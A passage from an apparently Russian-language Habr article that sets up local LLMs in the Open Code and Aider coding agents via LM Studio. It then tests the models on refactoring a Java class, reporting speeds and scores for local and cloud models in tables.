srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/084/f53/d64/084f53d648d3ed2cf04ffe5206f3e21c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/084/f53/d64/084f53d648d3ed2cf04ffe5206f3e21c.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;h3&gt;Open Code&lt;/h3&gt;&lt;p&gt;Настройка конфигурации Open Code делается через файл, расположенный по пути &lt;code&gt;~/.config/opencode/opencode.json&lt;/code&gt; . Вот пример файла с конфигурацией для 2 локальных моделей.&lt;details class=spoiler&gt;&lt;summary&gt;opencode.json&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code class=json&gt;{&#xA;  &amp;#34;$schema&amp;#34;: &amp;#34;https://opencode.ai/config.json&amp;#34;,&#xA;  &amp;#34;provider&amp;#34;: {&#xA;    &amp;#34;lmstudio&amp;#34;: {&#xA;      &amp;#34;npm&amp;#34;: &amp;#34;@ai-sdk/openai-compatible&amp;#34;,&#xA;      &amp;#34;name&amp;#34;: &amp;#34;LM Studio (local)&amp;#34;,&#xA;      &amp;#34;options&amp;#34;: {&#xA;        &amp;#34;baseURL&amp;#34;: &amp;#34;http://127.0.0.1:1234/v1&amp;#34;&#xA;      },&#xA;      &amp;#34;models&amp;#34;: {&#xA;        &amp;#34;qwen3-coder-30b-a3b-instruct-mlx-4bit&amp;#34;: {&#xA;          &amp;#34;name&amp;#34;: &amp;#34;qwen3-coder-30b (local)&amp;#34;,&#xA;          &amp;#34;tools&amp;#34;: true&#xA;        },&#xA;        &amp;#34;gemma-4-26b-a4b-it&amp;#34;: {&#xA;          &amp;#34;name&amp;#34;: &amp;#34;gemma-4-26b-a4b (local)&amp;#34;,&#xA;          &amp;#34;tools&amp;#34;: true&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Далее при запуске Open Code в терминале нужно переключить на нужную нам модель, через команду &lt;code&gt;/models&lt;/code&gt;&lt;details class=spoiler&gt;&lt;summary&gt;Меню с переключением моделей&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/4a3/5d9/dde/4a35d9dde4e77ff543475e0ddff8a1e5.png width=1124 height=838 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/4a3/5d9/dde/4a35d9dde4e77ff543475e0ddff8a1e5.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/4a3/5d9/dde/4a35d9dde4e77ff543475e0ddff8a1e5.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;h3&gt;Aider&lt;/h3&gt;&lt;p&gt;Aider настраивается схожим способом с Claude Code через &lt;a href=https://aider.chat/docs/llms/lm-studio.html rel=&#34;noopener noreferrer nofollow&#34;&gt;переменные окружения&lt;/a&gt;&lt;pre&gt;&lt;code class=bash&gt;export LM_STUDIO_API_KEY=dummy-api-key&#xA;export LM_STUDIO_API_BASE=http://localhost:1234/v1&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;и запускается с указанием имени модели:&lt;p&gt;&lt;code&gt;aider --model lm_studio/qwen3-coder-30b-a3b-instruct-mlx-4bit&lt;/code&gt;&lt;p&gt;После настройки всех агентов мы можем приступать к тестированию их работы.&lt;hr&gt;&lt;h2&gt;Что и как попробуем тестировать&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Данное тестирование очень субъективное и не отражает полной картины работы моделей или агентов, оно не предназначено для сравнения моделей или агентов между собой. К результатам стоит относиться с большой долей скепсиса. Но должно дать какое-то представление о времени работы моделей.&lt;/em&gt;&lt;/strong&gt;&lt;p&gt;Мы хотим оценить реальную скорость и качество локальных моделей в чате и в агентском режиме, а также возможность их использования в повседневной работе.&lt;h4&gt;Краткое описание моделей&lt;/h4&gt;&lt;p&gt;Возьмем несколько моделей, которые попробуем потестировать, я выбрал самые интересные для меня:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://huggingface.co/lmstudio-community/Qwen3-Coder-30B-A3B-Instruct-MLX-4bit rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3-Coder&lt;/a&gt; — возьмем за основную модель, так же возьмем ее вариации, модель в &lt;a href=https://huggingface.co/lmstudio-community/Qwen3-Coder-30B-A3B-Instruct-MLX-5bit rel=&#34;noopener noreferrer nofollow&#34;&gt;5-битной&lt;/a&gt; и &lt;a href=https://huggingface.co/lmstudio-community/Qwen3-Coder-30B-A3B-Instruct-MLX-6bit rel=&#34;noopener noreferrer nofollow&#34;&gt;6-битной&lt;/a&gt; квантизации и &lt;a href=https://huggingface.co/lmstudio-community/Qwen3-Coder-30B-A3B-Instruct-GGUF rel=&#34;noopener noreferrer nofollow&#34;&gt;GGUF&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://huggingface.co/RepublicOfKorokke/Qwen3-Coder-Next-REAP-48B-A3B-oQ3.5 rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3-Coder-Next&lt;/a&gt; — новое поколение модели qwen3-coder&lt;li&gt;&lt;p&gt;&lt;a href=https://huggingface.co/mlx-community/Qwen3.5-27B-4bit rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3.5&lt;/a&gt; — думающая модель от Qwen, а также её варианты: &lt;a href=https://huggingface.co/mlx-community/Qwen3.5-9B-MLX-4bit rel=&#34;noopener noreferrer nofollow&#34;&gt;9B&lt;/a&gt;, MoE &lt;a href=https://huggingface.co/mlx-community/Qwen3.5-35B-A3B-4bi rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3.5-35B-A3B&lt;/a&gt; и дообученная на &lt;a href=https://huggingface.co/Jackrong/MLX-Qwen3.5-35B-A3B-Claude-4.6-Opus-Reasoning-Distilled-4bit rel=&#34;noopener noreferrer nofollow&#34;&gt;Opus&lt;/a&gt;&lt;li&gt;&lt;p&gt;и пару новых моделей &lt;a href=https://huggingface.co/mlx-community/NVIDIA-Nemotron-3-Nano-30B-A3B-4bit rel=&#34;noopener noreferrer nofollow&#34;&gt;Nvidia Nemotron-3&lt;/a&gt; и &lt;a href=https://huggingface.co/unsloth/gemma-4-26B-A4B-it-GGUF rel=&#34;noopener noreferrer nofollow&#34;&gt;Gemma-4-26B-A4B&lt;/a&gt;, Gemma-4 возьмем в формате GGUF, так как с MLX пока есть &lt;a href=https://github.com/lmstudio-ai/lmstudio-bug-tracker/issues/1741#issuecomment-4186979604 rel=&#34;noopener noreferrer nofollow&#34;&gt;проблемы&lt;/a&gt;.&lt;/ul&gt;&lt;h4&gt;План тестирования&lt;/h4&gt;&lt;p&gt;Тест состоит из нескольких этапов: сначала модель получает код на рефакторинг, затем — на ревью, и наконец — замечания для исправления.&lt;p&gt;Подробное описание плана:&lt;details class=spoiler&gt;&lt;summary&gt;Поэтапный план&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Этап 1&lt;ul&gt;&lt;li&gt;&lt;p&gt;даем LLM задачу на рефакторинг&lt;li&gt;&lt;p&gt;замеряем время выполнения&lt;li&gt;&lt;p&gt;делаем оценку результата работы&lt;/ul&gt;&lt;li&gt;&lt;p&gt;Этап 2&lt;ul&gt;&lt;li&gt;&lt;p&gt;просим модель сделать ревью полученного кода и найти проблемы&lt;li&gt;&lt;p&gt;просим устранить проблемы, которые она нашла&lt;li&gt;&lt;p&gt;замеряем время выполнения&lt;li&gt;&lt;p&gt;делаем оценку результата работы&lt;/ul&gt;&lt;li&gt;&lt;p&gt;Этап 3&lt;ul&gt;&lt;li&gt;&lt;p&gt;даем модели замечания к устранению&lt;li&gt;&lt;p&gt;замеряем время&lt;li&gt;&lt;p&gt;делаем оценку результата работы&lt;li&gt;&lt;p&gt;суммируем общее время работы&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Делать оценку кода мы будем тоже через LLM, возьмем deepseek и прямо в чате будем ему давать код и файлы для оценки.&lt;p&gt;После нескольких подходов с deepseek, пришли к 10-балльной шкале оценок:&lt;details class=spoiler&gt;&lt;summary&gt;Скрытый текст&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Критерий&lt;td&gt;&lt;p align=left&gt;Макс. балл&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Точность денежных расчётов (BigDecimal + округление + корректное преобразование)&lt;td&gt;&lt;p align=left&gt;3.0&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Типобезопасность (enum для категорий, DTO вместо Map)&lt;td&gt;&lt;p align=left&gt;2.0&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Настраиваемость порога (не магическое число)&lt;td&gt;&lt;p align=left&gt;1.0&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Валидация и обработка ошибок (null, неотрицательность, диапазон скидки, пропуск элементов)&lt;td&gt;&lt;p align=left&gt;1.5&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Логирование (не System.out/err)&lt;td&gt;&lt;p align=left&gt;0.5&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Модульные тесты (наличие)&lt;td&gt;&lt;p align=left&gt;1.0&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Иммутабельность DTO&lt;td&gt;&lt;p align=left&gt;0.5&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Чистая архитектура (разделение ответственности, внедрение зависимостей)&lt;td&gt;&lt;p align=left&gt;0.5&lt;tr&gt;&lt;td data-colwidth=568 width=568&gt;&lt;p align=left&gt;Итого&lt;td&gt;&lt;p align=left&gt;10.0&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Это формальные критерии. Баллы также будут снижаться за дублирование кода, нерабочий код и другие недочёты&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Сам же изначальный код для рефакторинга оставим такой же как и в прошлой статье&lt;details class=spoiler&gt;&lt;summary&gt;Сам код на Java&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code class=java&gt;import java.util.*;&#xA;&#xA;public class DataProcessor {&#xA;    public List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; processData(List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; data, Map&amp;lt;String, Object&amp;gt; options) {&#xA;        if (options == null) {&#xA;            options = new HashMap&amp;lt;&amp;gt;();&#xA;        }&#xA;        List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; result = new ArrayList&amp;lt;&amp;gt;();&#xA;        for (Map&amp;lt;String, Object&amp;gt; item : data) {&#xA;            if (item.containsKey(&amp;#34;price&amp;#34;) &amp;amp;&amp;amp; item.containsKey(&amp;#34;quantity&amp;#34;)) {&#xA;                double price = ((Number) item.get(&amp;#34;price&amp;#34;)).doubleValue();&#xA;                int quantity = ((Number) item.get(&amp;#34;quantity&amp;#34;)).intValue();&#xA;                double discount = options.containsKey(&amp;#34;discount&amp;#34;) ? ((Number) options.get(&amp;#34;discount&amp;#34;)).doubleValue() : 0.0;&#xA;                double total = price * quantity * (1 - discount);&#xA;                &#xA;                Map&amp;lt;String, Object&amp;gt; processedItem = new HashMap&amp;lt;&amp;gt;();&#xA;                processedItem.put(&amp;#34;name&amp;#34;, item.getOrDefault(&amp;#34;name&amp;#34;, &amp;#34;Unnamed&amp;#34;));&#xA;                processedItem.put(&amp;#34;total&amp;#34;, total);&#xA;                if (total &amp;gt; 100) {&#xA;                    processedItem.put(&amp;#34;category&amp;#34;, &amp;#34;expensive&amp;#34;);&#xA;                } else {&#xA;                    processedItem.put(&amp;#34;category&amp;#34;, &amp;#34;cheap&amp;#34;);&#xA;                }&#xA;                result.add(processedItem);&#xA;            } else {&#xA;                System.out.println(&amp;#34;Skipping item: &amp;#34; + item);&#xA;            }&#xA;        }&#xA;        return result;&#xA;    }&#xA;&#xA;    public static void main(String[] args) {&#xA;        DataProcessor processor = new DataProcessor();&#xA;        List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; data = new ArrayList&amp;lt;&amp;gt;();&#xA;        &#xA;        Map&amp;lt;String, Object&amp;gt; item1 = new HashMap&amp;lt;&amp;gt;();&#xA;        item1.put(&amp;#34;name&amp;#34;, &amp;#34;Laptop&amp;#34;);&#xA;        item1.put(&amp;#34;price&amp;#34;, 1000);&#xA;        item1.put(&amp;#34;quantity&amp;#34;, 1);&#xA;        data.add(item1);&#xA;        &#xA;        Map&amp;lt;String, Object&amp;gt; item2 = new HashMap&amp;lt;&amp;gt;();&#xA;        item2.put(&amp;#34;name&amp;#34;, &amp;#34;Mouse&amp;#34;);&#xA;        item2.put(&amp;#34;price&amp;#34;, 25);&#xA;        item2.put(&amp;#34;quantity&amp;#34;, 2);&#xA;        data.add(item2);&#xA;        &#xA;        Map&amp;lt;String, Object&amp;gt; item3 = new HashMap&amp;lt;&amp;gt;();&#xA;        item3.put(&amp;#34;price&amp;#34;, 50);&#xA;        item3.put(&amp;#34;quantity&amp;#34;, 3);&#xA;        data.add(item3);&#xA;        &#xA;        Map&amp;lt;String, Object&amp;gt; item4 = new HashMap&amp;lt;&amp;gt;();&#xA;        item4.put(&amp;#34;name&amp;#34;, &amp;#34;Keyboard&amp;#34;);&#xA;        item4.put(&amp;#34;price&amp;#34;, 80);&#xA;        item4.put(&amp;#34;quantity&amp;#34;, 1);&#xA;        data.add(item4);&#xA;        &#xA;        Map&amp;lt;String, Object&amp;gt; options = new HashMap&amp;lt;&amp;gt;();&#xA;        options.put(&amp;#34;discount&amp;#34;, 0.1);&#xA;        &#xA;        List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; result = processor.processData(data, options);&#xA;        System.out.println(result);&#xA;    }&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&lt;hr&gt;&lt;h2&gt;Замеры в режиме чата&lt;/h2&gt;&lt;p&gt;В LM Studio есть встроенный чат, на котором мы и протестируем наши модели. Это заняло немного времени и вот результаты:&lt;br&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;&lt;strong&gt;локальная модель&lt;/strong&gt;&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;&lt;strong&gt;скорость генерации токенов (ток/сек)&lt;/strong&gt;&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;&lt;strong&gt;время 1 этапа (сек)&lt;/strong&gt;&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 1 этапа&lt;/strong&gt;&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;&lt;strong&gt;время review (сек)&lt;/strong&gt;&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;&lt;strong&gt;время 2 этапа&lt;br&gt;(сек)&lt;/strong&gt;&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 2 этапа&lt;/strong&gt;&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;&lt;strong&gt;время 3 этапа (сек)&lt;/strong&gt;&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 3 этапа&lt;/strong&gt;&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;&lt;strong&gt;суммарное время работы (мин:сек)&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;qwen3-coder-30b-a3b-instruct-4bit-gguf&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;52-64&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;37&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;1.0&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;35&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;1.5&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;86&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;8.5&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;2:38&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;qwen3-coder-30b-a3b-instruct-mlx@4bit&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;56-73&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;23&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;1.0&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;24&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;1.0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;82&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;8.5&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;2:09&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;qwen3-coder-30b-a3b-instruct-mlx@5bit&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;49-64&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;29&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;2.0&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;38&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;91&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;9.0&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;2:38&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;qwen3-coder-30b-a3b-instruct-mlx@6bit&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;44-59&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;27&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;1.5&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;24&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;32&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;1.5&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;91&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;9.0&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;2:54&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;qwen3-coder-next-reap-48b-a3b-oq3.5&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;54-62&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;46&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;1.0&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;42&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;47&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;1.5&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;77&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;8.5&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;3:32&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;Qwen3.5-27B-4bit (thinking)&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;14-15&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;589&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;5.5&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;160&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;554&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;9.0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;469&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;9.5&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;29:32&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;Qwen3.5-9B-4bit (thinking)&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;39-45&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;234&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;1.0&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;84&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;82&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;2.0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;587+&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;2.0&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;16:27&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;qwen3.5-35b-a3b-4bit (thinking)&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;69-77&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;91&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;3.0&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;98&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;70&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;3.0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;93&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;10.0&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;5:43&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;qwen3.5-35b-a3b-claude-4.6-opus-4bit (thinking)&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;55-64&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;62&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;3.0&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;46&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;81&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;3.0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;91&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;9.0&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;4:40&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;nvidia-nemotron-3-nano-30b-a3b (thinking)&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;81-89&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;47&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;3.0&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;32&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;48&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;3.0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;71&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;6.0&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;3:18&lt;tr&gt;&lt;td data-colwidth=394 width=394&gt;&lt;p align=left&gt;gemma-4-26b-a4b-it-gguf&lt;td data-colwidth=118 width=118&gt;&lt;p align=left&gt;46-48&lt;td data-colwidth=88 width=88&gt;&lt;p align=left&gt;42&lt;td data-colwidth=83 width=83&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=78 width=78&gt;&lt;p align=left&gt;21&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;37&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;8.0&lt;td data-colwidth=87 width=87&gt;&lt;p align=left&gt;43&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;10.0&lt;td data-colwidth=121 width=121&gt;&lt;p align=left&gt;2:23&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Пояснения:&lt;ul&gt;&lt;li&gt;&lt;p&gt;(thinking) в названии модели обозначает, что часть токенов, которые генерирует модель, уходит на подготовку ответа, поэтому ее реальная скорость генерации ответа на 30-50% ниже и общий ответ получается дольше&lt;li&gt;&lt;p&gt;время review 0 - модель сразу начинала генерировать исправленный код, без предварительного анализа. Поэтому фактического ревью не проводилось&lt;li&gt;&lt;p&gt;время 587+ секунд на 3 этапе у Qwen3.5 9B указано, так как модель запуталась и не смогла исправить код и начала бесконечно генерировать тесты&lt;/ul&gt;&lt;p&gt;Перед тем как делать анализ результатов, хочется понять, а что у облачных моделей. Прогоним тот же тест в чате но уже на облачных моделях:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=211 width=211&gt;&lt;p align=left&gt;&lt;strong&gt;облачная модель&lt;/strong&gt;&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;&lt;strong&gt;время 1 этапа (мин:сек)&lt;/strong&gt;&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 1 этапа&lt;/strong&gt;&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;&lt;strong&gt;время review (мин:сек)&lt;/strong&gt;&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;&lt;strong&gt;время 2 этапа&lt;br&gt;(мин:сек)&lt;/strong&gt;&lt;td data-colwidth=90 width=90&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 2 этапа&lt;/strong&gt;&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;&lt;strong&gt;время 3 этапа (мин:сек)&lt;/strong&gt;&lt;td data-colwidth=92 width=92&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 3 этапа&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;&lt;strong&gt;суммарное время работы (мин:сек)&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=211 width=211&gt;&lt;p align=left&gt;Qwen 3.6 plus (thinking) cloud chat&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;2:51&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;5.0&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;1:20&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;1:50&lt;td data-colwidth=90 width=90&gt;&lt;p align=left&gt;5.0&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;2:23&lt;td data-colwidth=92 width=92&gt;&lt;p align=left&gt;10.0&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;8:24&lt;tr&gt;&lt;td data-colwidth=211 width=211&gt;&lt;p align=left&gt;Qwen 3.6 plus (fast) cloud chat&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;0:38&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;0&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;1:04&lt;td data-colwidth=90 width=90&gt;&lt;p align=left&gt;4.0&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;1:18&lt;td data-colwidth=92 width=92&gt;&lt;p align=left&gt;10.0&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;3:00&lt;tr&gt;&lt;td data-colwidth=211 width=211&gt;&lt;p align=left&gt;Qwen 3 coder cloud chat&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;0:17&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;0&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;0:27&lt;td data-colwidth=90 width=90&gt;&lt;p align=left&gt;2.0&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;0:28&lt;td data-colwidth=92 width=92&gt;&lt;p align=left&gt;2.0&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;1:12&lt;tr&gt;&lt;td data-colwidth=211 width=211&gt;&lt;p align=left&gt;DeepSeek (thinking) cloud chat&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;0:52&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;2.0&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;0:52&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;0:52&lt;td 